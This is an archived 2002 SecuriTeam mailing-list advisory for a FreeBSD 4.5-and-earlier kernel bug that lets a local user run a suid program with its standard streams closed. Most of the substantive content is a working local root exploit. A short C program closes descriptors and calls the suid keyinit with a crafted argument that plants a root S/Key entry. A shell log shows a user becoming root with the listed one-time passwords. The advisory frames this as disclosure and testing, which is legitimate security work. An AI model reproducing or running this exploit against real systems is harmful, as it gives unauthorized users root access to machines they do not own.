

# [EXPL] Suid Application Execution May Give Local Root (Exploit Code)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-04/0096.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 04/23/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Tue, 23 Apr 2002 08:16:27 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

Suid Application Execution May Give Local Root (Exploit Code)

---

## SUMMARY

It is possible for a local user under the FreeBSD operating system to execute a suid application with its stdin, stdout, or stderr closed. The following exploit code can be used to test your system against the mentioned vulnerability.

For more information about the vulnerability please see:

<<http://www.securiteam.com/unixfocus/5CP000K6UU.html>> Suid Application Execution May Give Local Root.

## DETAILS

Vulnerable systems:

FreeBSD version 4.5 and prior

Exploit:

/\*

phased/b10z

[phased@snoosoft.com](mailto:phased@snoosoft.com)

23/04/2002

## Securiteam: [EXPL] Suid Application Execution May Give Local Root (Exploit Code)

stdio kernel bug in All releases of FreeBSD up to and including  
4.5-RELEASE  
decided to make a trivial exploit to easily get root :)

```
> id
uid=1003(phased) gid=999(phased) groups=999(phased)
> ./iosmash
Adding phased:
<--- HIT CTRL-C --->
> su
s/key 98 snosoft2
Password:MASS OAT ROLL TOOL AGO CAM
xes#
```

this program makes the following skeys valid

```
95: CARE LIVE CARD LOFT CHIC HILL
96: TESS OIL WELD DUD MUTE KIT
97: DADE BED DRY JAW GRAB NOV
98: MASS OAT ROLL TOOL AGO CAM
99: DARK LEW JOLT JIVE MOS WHO
```

<http://www.snosoft.com>

cheers Joost Pol

\*/

```
#include <stdio.h>
#include <unistd.h>
```

```
int main(int argc, char *argv[]) {
    while(dup(1) != -1);
    close(2);
    execl("/usr/bin/keyinit",
        "\nroot 0099 snosoft2 6f648e8bd0e2988a Apr 23,2666 01:02:03\n");
}
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:phased@mail.ru>> James Green.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

## Securiteam: [EXPL] Suid Application Execution May Give Local Root (Exploit Code)

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

---

- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[UNIX] Slrnpull Buffer Overflow (-d Parameter)"
- **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)